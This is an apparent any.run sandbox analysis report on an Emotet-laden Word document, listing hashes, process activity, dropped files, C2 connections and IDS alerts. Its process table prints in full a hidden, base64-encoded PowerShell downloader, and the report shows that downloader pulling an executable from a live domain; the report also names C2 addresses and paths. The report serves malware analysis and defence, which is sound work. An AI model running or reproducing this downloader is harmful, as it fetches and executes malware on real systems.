| File name: | Zahlungsschreiben_2020_01_0285326817.doc |
| Full analysis: | https://app.any.run/tasks/abf010a3-be01-4eb1-9f77-b4398eca745e |
| Verdict: | Malicious activity |
| Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
| Analysis date: | January 18, 2020, 11:31:08 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Quia., Author: Zoe Fontaine, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Fri Jan 17 07:06:00 2020, Last Saved Time/Date: Fri Jan 17 07:06:00 2020, Number of Pages: 1, Number of Words: 4, Number of Characters: 23, Security: 0 |
| MD5: | E676DA8687526CD787FBD6B7E18071ED |
| SHA1: | C784927E4A7B4B336137C9E60212502EF284838D |
| SHA256: | 294A2BE9ACB649E629B6FCB080310730569076E2C1FF4D9F47AD28FBCB7A90ED |
| SSDEEP: | 6144:K70Rum7mdLRp1bbSBIR/EHGtCMXgTo8qoFt/etg+xCJuvvw+:W0E3dxtR/iU9mvUPjvw+ |
MALICIOUS
Application was dropped or rewritten from another process
- 593.exe (PID: 2856)
- 593.exe (PID: 2128)
- serialfunc.exe (PID: 2532)
- serialfunc.exe (PID: 2528)
- serialfunc.exe (PID: 3992)
- serialfunc.exe (PID: 4028)
Downloads executable files from the Internet
- Powershell.exe (PID: 2156)
Emotet process was detected
- 593.exe (PID: 2128)
EMOTET was detected
- serialfunc.exe (PID: 2528)
Connects to CnC server
- serialfunc.exe (PID: 2528)
Changes the autorun value in the registry
- serialfunc.exe (PID: 2528)
SUSPICIOUS
Creates files in the user directory
- Powershell.exe (PID: 2156)
Executable content was dropped or overwritten
- Powershell.exe (PID: 2156)
- 593.exe (PID: 2128)
PowerShell script executed
- Powershell.exe (PID: 2156)
Executed via WMI
- Powershell.exe (PID: 2156)
Starts itself from another location
- 593.exe (PID: 2128)
Connects to server without host name
- serialfunc.exe (PID: 2528)
Application launched itself
- serialfunc.exe (PID: 2528)
INFO
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 1608)
- serialfunc.exe (PID: 3992)
- serialfunc.exe (PID: 4028)
Creates files in the user directory
- WINWORD.EXE (PID: 1608)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (80) |
|---|
EXIF
FlashPix
| Title: | Quia. |
|---|---|
| Subject: | - |
| Author: | Zoe Fontaine |
| Keywords: | - |
| Comments: | - |
| Template: | Normal.dotm |
| LastModifiedBy: | - |
| RevisionNumber: | 1 |
| Software: | Microsoft Office Word |
| TotalEditTime: | - |
| CreateDate: | 2020:01:17 07:06:00 |
| ModifyDate: | 2020:01:17 07:06:00 |
| Pages: | 1 |
| Words: | 4 |
| Characters: | 23 |
| Security: | None |
| CodePage: | Windows Latin 1 (Western European) |
| Company: | - |
| Lines: | 1 |
| Paragraphs: | 1 |
| CharCountWithSpaces: | 26 |
| AppVersion: | 16 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
|
| CompObjUserTypeLen: | 25 |
| CompObjUserType: | Microsoft Forms 2.0 Form |
Total processes
44
Monitored processes
8
Malicious processes
5
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1608 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Zahlungsschreiben_2020_01_0285326817.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 2128 | --6b95206d | C:\Users\admin\593.exe | 593.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Description: Application MFC DShowEncoder Exit code: 0 Version: 1, 0, 0, 76 Modules
| |||||||||||||||
| 2156 | Powershell -w hidden -en JABLAHEAbABkAGYAbQBiAHYAcgA9ACcAWABpAGQAdgBvAHIAYgBrAGsAYwBnAHQAYQAnADsAJABGAHkAbQBiAGgAeQBlAHgAbQBoACAAPQAgACcANQA5ADMAJwA7ACQATgBuAHIAZwBxAGkAawBrAGYAcQB5AD0AJwBCAGoAcwBwAGMAcABzAGUAYwBxAGYAJwA7ACQATwBzAHgAagBzAHUAdgBiAGIAeAB6AGMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEYAeQBtAGIAaAB5AGUAeABtAGgAKwAnAC4AZQB4AGUAJwA7ACQAUQBlAGUAdwBsAG8AaAB2AG4AaAB6AGoAZwA9ACcAVABxAHkAdABqAHgAaQB0AG8AZAB4AHoAZgAnADsAJABQAHYAcQBrAHIAbgBvAGEAbwA9ACYAKAAnAG4AZQB3AC0AbwBiACcAKwAnAGoAZQBjACcAKwAnAHQAJwApACAAbgBFAFQALgBXAGUAYgBjAEwASQBFAG4AdAA7ACQARgBrAG0AbgBnAGkAdABnAGEAPQAnAGgAdAB0AHAAOgAvAC8AbwBuAGkAbwBuAGcAYQBtAGUAcwAuAGoAcAAvAGMAbwBuAHQAYQBjAHQALwBpAFkALwAqAGgAdAB0AHAAOgAvAC8AcABtAHQAaABvAG0AZQAuAGMAbwBtAC8AcABvAHMAdABhAC8AZAByADMAegB4AGEALwAqAGgAdAB0AHAAOgAvAC8AdQByAGcAZQB2AGUAbgB0AGEALgBlAHMALwBpAG0AZwAvAGsAMwA1AGQAOQBxAC8AKgBoAHQAdABwAHMAOgAvAC8AcwBvAGwAbQBlAGMALgBjAG8AbQAuAGEAcgAvAHMAaQB0AGkAbwAvAG4AVABYAFoAbwBtAEsAQwB4AC8AKgBoAHQAdABwAHMAOgAvAC8AdABpAGEAZwBvAGMAYQBtAGIAYQByAGEALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBzADkANgAvACcALgAiAFMAcABMAGAASQBUACIAKAAnACoAJwApADsAJABYAG0AdgB0AHMAZgBmAGoAZgBqAD0AJwBOAGIAcwBmAHYAYQB2AGsAbQBzAGwAYgAnADsAZgBvAHIAZQBhAGMAaAAoACQAUQB0AHkAawBtAGcAcAB5AHkAYwB6AHkAIABpAG4AIAAkAEYAawBtAG4AZwBpAHQAZwBhACkAewB0AHIAeQB7ACQAUAB2AHEAawByAG4AbwBhAG8ALgAiAGQAYABPAFcAbgBsAG8AYQBgAEQAZgBJAGwARQAiACgAJABRAHQAeQBrAG0AZwBwAHkAeQBjAHoAeQAsACAAJABPAHMAeABqAHMAdQB2AGIAYgB4AHoAYwApADsAJABMAHEAcwBuAG8AYwBpAGMAawA9ACcATQB3AHIAbgBoAHMAawB6AGUAdQBzACcAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQATwBzAHgAagBzAHUAdgBiAGIAeAB6AGMAKQAuACIAbABgAGUATgBnAGAAVABoACIAIAAtAGcAZQAgADMANgA5ADUAMgApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAGAAVABBAFIAdAAiACgAJABPAHMAeABqAHMAdQB2AGIAYgB4AHoAYwApADsAJABaAGoAYwB5AGUAYgB0AHUAPQAnAFAAcQByAHYAaABrAGwAcQBlAHIAaQBlACcAOwBiAHIAZQBhAGsAOwAkAEYAegBiAGIAdQBuAHQAdQB1AGwAcABzAGcAPQAnAE0AdQBzAG0AeAB4AHEAYgBvACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEoAYgByAGgAdAB2AGcAZgB0AGYAegBzAD0AJwBCAHYAdgBnAGcAcABkAGkAawBzAHcAcQByACcA | C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe | wmiprvse.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2528 | --d6864438 | C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe | serialfunc.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Description: Application MFC DShowEncoder Exit code: 0 Version: 1, 0, 0, 76 Modules
| |||||||||||||||
| 2532 | "C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe" | C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe | — | 593.exe | |||||||||||
User: admin Integrity Level: MEDIUM Description: Application MFC DShowEncoder Exit code: 0 Version: 1, 0, 0, 76 Modules
| |||||||||||||||
| 2856 | "C:\Users\admin\593.exe" | C:\Users\admin\593.exe | — | Powershell.exe | |||||||||||
User: admin Integrity Level: MEDIUM Description: Application MFC DShowEncoder Exit code: 0 Version: 1, 0, 0, 76 Modules
| |||||||||||||||
| 3992 | "C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe" "C:\Users\admin\AppData\Local\Temp\3B49.tmp" | C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe | — | serialfunc.exe | |||||||||||
User: admin Integrity Level: MEDIUM Description: Application MFC DShowEncoder Exit code: 0 Version: 1, 0, 0, 76 Modules
| |||||||||||||||
| 4028 | "C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe" "C:\Users\admin\AppData\Local\Temp\3B5A.tmp" | C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe | — | serialfunc.exe | |||||||||||
User: admin Integrity Level: MEDIUM Description: Application MFC DShowEncoder Exit code: 0 Version: 1, 0, 0, 76 Modules
| |||||||||||||||
Total events
2 416
Read events
1 533
Write events
756
Delete events
127
Modification events
| (PID) Process: | (1608) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | ;a? |
Value: 3B613F0048060000010000000000000000000000 | |||
| (PID) Process: | (1608) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (1608) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1041 |
Value: Off | |||
| (PID) Process: | (1608) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1046 |
Value: Off | |||
| (PID) Process: | (1608) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1036 |
Value: Off | |||
| (PID) Process: | (1608) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1031 |
Value: Off | |||
| (PID) Process: | (1608) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1040 |
Value: Off | |||
| (PID) Process: | (1608) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1049 |
Value: Off | |||
| (PID) Process: | (1608) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 3082 |
Value: Off | |||
| (PID) Process: | (1608) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1345454142 | |||
Executable files
2
Suspicious files
2
Text files
0
Unknown types
8
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 1608 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRA93B.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 1608 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DF0BBED3707407E4B2.TMP | — | |
MD5:— | SHA256:— | |||
| 2156 | Powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\86ICSGWJB0BBZB6CCE8S.temp | — | |
MD5:— | SHA256:— | |||
| 4028 | serialfunc.exe | C:\Users\admin\Documents\Outlook Files\~Outlook Data File - NoMail.pst.tmp | — | |
MD5:— | SHA256:— | |||
| 3992 | serialfunc.exe | C:\Users\admin\Documents\Outlook Files\~Outlook.pst.tmp | — | |
MD5:— | SHA256:— | |||
| 3992 | serialfunc.exe | C:\Users\admin\Documents\Outlook Files\~honey@pot.com.pst.tmp | — | |
MD5:— | SHA256:— | |||
| 4028 | serialfunc.exe | C:\Users\admin\Documents\Outlook Files\~Outlook.pst.tmp | — | |
MD5:— | SHA256:— | |||
| 4028 | serialfunc.exe | C:\Users\admin\Documents\Outlook Files\~honey@pot.com.pst.tmp | — | |
MD5:— | SHA256:— | |||
| 4028 | serialfunc.exe | C:\Users\admin\AppData\Local\Temp\3B5A.tmp | — | |
MD5:— | SHA256:— | |||
| 1608 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd | tlb | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
2
DNS requests
1
Threats
9
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2528 | serialfunc.exe | POST | 200 | 100.6.23.40:80 | http://100.6.23.40/8CCG | US | binary | 410 Kb | malicious |
2156 | Powershell.exe | GET | 200 | 210.224.185.151:80 | http://oniongames.jp/contact/iY/ | JP | executable | 344 Kb | suspicious |
2528 | serialfunc.exe | POST | 200 | 100.6.23.40:80 | http://100.6.23.40/x4S8yS8zk6uEp | US | binary | 148 b | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2156 | Powershell.exe | 210.224.185.151:80 | oniongames.jp | SAKURA Internet Inc. | JP | suspicious |
2528 | serialfunc.exe | 100.6.23.40:80 | — | MCI Communications Services, Inc. d/b/a Verizon Business | US | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
oniongames.jp |
| suspicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2156 | Powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
2156 | Powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
2156 | Powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
2528 | serialfunc.exe | A Network Trojan was detected | ET TROJAN Win32/Emotet CnC Activity (POST) M5 |
2528 | serialfunc.exe | A Network Trojan was detected | ET TROJAN Win32/Emotet CnC Activity (POST) M6 |
2528 | serialfunc.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |
2528 | serialfunc.exe | A Network Trojan was detected | ET TROJAN Win32/Emotet CnC Activity (POST) M5 |
2528 | serialfunc.exe | A Network Trojan was detected | ET TROJAN Win32/Emotet CnC Activity (POST) M6 |
2528 | serialfunc.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |